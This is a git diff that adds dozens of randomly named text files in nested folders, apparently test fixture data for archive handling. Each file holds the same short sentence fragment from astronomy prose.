diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_eyrpdgoxzwkdadsuhioijjn.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_eyrpdgoxzwkdadsuhioijjn.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_eyrpdgoxzwkdadsuhioijjn.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_fkqcfakye.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_fkqcfakye.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_fkqcfakye.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_ftwnprkgsew.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_ftwnprkgsew.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_ftwnprkgsew.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_gqjpxplqzagzoongeepr.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_gqjpxplqzagzoongeepr.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_gqjpxplqzagzoongeepr.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_hyjeuuvajfhsklfcliq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_hyjeuuvajfhsklfcliq.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_hyjeuuvajfhsklfcliq.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_ievhxcnmc.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_ievhxcnmc.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_ievhxcnmc.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_lhvusywtkl.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_lhvusywtkl.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_lhvusywtkl.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_mvfhmmsyzvbzbn.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_mvfhmmsyzvbzbn.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_mvfhmmsyzvbzbn.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_oywgsdltpbbrnqdlpkhmfaz.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_oywgsdltpbbrnqdlpkhmfaz.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_oywgsdltpbbrnqdlpkhmfaz.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_pvdztxoxfuncivmn.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_pvdztxoxfuncivmn.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_pvdztxoxfuncivmn.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_smvukxslruvtrqpnczxe.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_smvukxslruvtrqpnczxe.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_smvukxslruvtrqpnczxe.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_tnzbjhotlnlneddzdpu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_tnzbjhotlnlneddzdpu.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_tnzbjhotlnlneddzdpu.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_tvyvzaiw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_tvyvzaiw.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_tvyvzaiw.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_uobgonqurfxpmrapvnpp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_uobgonqurfxpmrapvnpp.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_uobgonqurfxpmrapvnpp.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_wekidcvb.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_wekidcvb.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_wekidcvb.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_ykqsjuskngakthb.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_ykqsjuskngakthb.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_ykqsjuskngakthb.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_zgdbpblqcpjdnra.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_zgdbpblqcpjdnra.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_zgdbpblqcpjdnra.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/file_zhvpvmocxk.txt b/big_zip/big-zip-files/folder_xncqtawnlz/file_zhvpvmocxk.txt
new file mode 100644
index 0000000..c1f9fd1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/file_zhvpvmocxk.txt
@@ -0,0 +1 @@
+plausible. Lowell’s observations were made under extremely difficult seeing conditions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_agqvjiqybtg.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_agqvjiqybtg.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_agqvjiqybtg.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bbtvpukbidst.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bbtvpukbidst.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bbtvpukbidst.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_btxxvvdegylg.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_btxxvvdegylg.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_btxxvvdegylg.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bwdvgzfnkarzaherlvxsffzw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bwdvgzfnkarzaherlvxsffzw.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_bwdvgzfnkarzaherlvxsffzw.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_dqkszfjpxhfcduqps.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_dqkszfjpxhfcduqps.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_dqkszfjpxhfcduqps.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_efpemxhhcvuhkugzsyne.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_efpemxhhcvuhkugzsyne.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_efpemxhhcvuhkugzsyne.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_gcktviwzwznwmvh.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_gcktviwzwznwmvh.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_gcktviwzwznwmvh.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hpuuttulh.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hpuuttulh.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hpuuttulh.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hqaoeowxszvdrcexfuopjwi.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hqaoeowxszvdrcexfuopjwi.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hqaoeowxszvdrcexfuopjwi.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hsscegbhbmkzhn.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hsscegbhbmkzhn.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_hsscegbhbmkzhn.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_jgilfqwstlcravbfzb.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_jgilfqwstlcravbfzb.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_jgilfqwstlcravbfzb.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kwqsphfszwmacghticxdewdq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kwqsphfszwmacghticxdewdq.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kwqsphfszwmacghticxdewdq.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kyutgglezvvqwbntddba.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kyutgglezvvqwbntddba.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_kyutgglezvvqwbntddba.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mfuzetjzdwomdbebtwhutsq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mfuzetjzdwomdbebtwhutsq.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mfuzetjzdwomdbebtwhutsq.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mjetcvhaboieaaawlbyw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mjetcvhaboieaaawlbyw.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_mjetcvhaboieaaawlbyw.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oiljbexznhetzplnijxklh.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oiljbexznhetzplnijxklh.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oiljbexznhetzplnijxklh.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oxusmfgrkysvcrsfuxasu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oxusmfgrkysvcrsfuxasu.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_oxusmfgrkysvcrsfuxasu.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_poutwdolhzxffrmijqdlp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_poutwdolhzxffrmijqdlp.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_poutwdolhzxffrmijqdlp.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_pvvdpxlxozjrmv.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_pvvdpxlxozjrmv.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_pvvdpxlxozjrmv.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_qastzrfzzzirs.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_qastzrfzzzirs.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_qastzrfzzzirs.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_uohscsfhxbntmkoqsbbizwx.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_uohscsfhxbntmkoqsbbizwx.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_uohscsfhxbntmkoqsbbizwx.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_wozzofeyoiciqxe.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_wozzofeyoiciqxe.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_wozzofeyoiciqxe.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_xajnmertuvkpqw.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_xajnmertuvkpqw.txt
new file mode 100644
index 0000000..58a0055
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/file_xajnmertuvkpqw.txt
@@ -0,0 +1 @@
+There are tens of billions of known kinds of organic molecules. Yet only about fifty
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_bgzzvgtuqvzmxixjcbq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_bgzzvgtuqvzmxixjcbq.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_bgzzvgtuqvzmxixjcbq.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_dfldwbdblrvxasaymcklnwqq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_dfldwbdblrvxasaymcklnwqq.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_dfldwbdblrvxasaymcklnwqq.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_hxgukixhcykxhcinhznfp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_hxgukixhcykxhcinhznfp.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_hxgukixhcykxhcinhznfp.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ihvinthieyiijsbu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ihvinthieyiijsbu.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ihvinthieyiijsbu.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_iidbhjxbizwudaxltp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_iidbhjxbizwudaxltp.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_iidbhjxbizwudaxltp.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_itkjwxghinxv.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_itkjwxghinxv.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_itkjwxghinxv.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_jmoodbmrapgq.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_jmoodbmrapgq.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_jmoodbmrapgq.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_knhkfiyokvmaengktzagl.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_knhkfiyokvmaengktzagl.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_knhkfiyokvmaengktzagl.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_lqmjtgcliczmdbjysswtgi.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_lqmjtgcliczmdbjysswtgi.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_lqmjtgcliczmdbjysswtgi.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ohcviuhwijarsitfqpbpivmz.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ohcviuhwijarsitfqpbpivmz.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ohcviuhwijarsitfqpbpivmz.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_pgxqhunl.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_pgxqhunl.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_pgxqhunl.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_priwrcrjfaiisajxu.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_priwrcrjfaiisajxu.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_priwrcrjfaiisajxu.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_qdnmktyxtrtbp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_qdnmktyxtrtbp.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_qdnmktyxtrtbp.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_rlkvnvmsbstpndz.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_rlkvnvmsbstpndz.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_rlkvnvmsbstpndz.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ruqfuowvblpwsbbdjbzvim.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ruqfuowvblpwsbbdjbzvim.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_ruqfuowvblpwsbbdjbzvim.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_uzrtuyldjamafevfez.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_uzrtuyldjamafevfez.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_uzrtuyldjamafevfez.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_xydbvzrqshzxgxp.txt b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_xydbvzrqshzxgxp.txt
new file mode 100644
index 0000000..2294c8f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xncqtawnlz/folder_qflvggojdd/folder_cbmobdschg/file_xydbvzrqshzxgxp.txt
@@ -0,0 +1 @@
+in the introduction to cosmic objects in Chapter 1, which are examined in greater detail
\ No newline at end of file
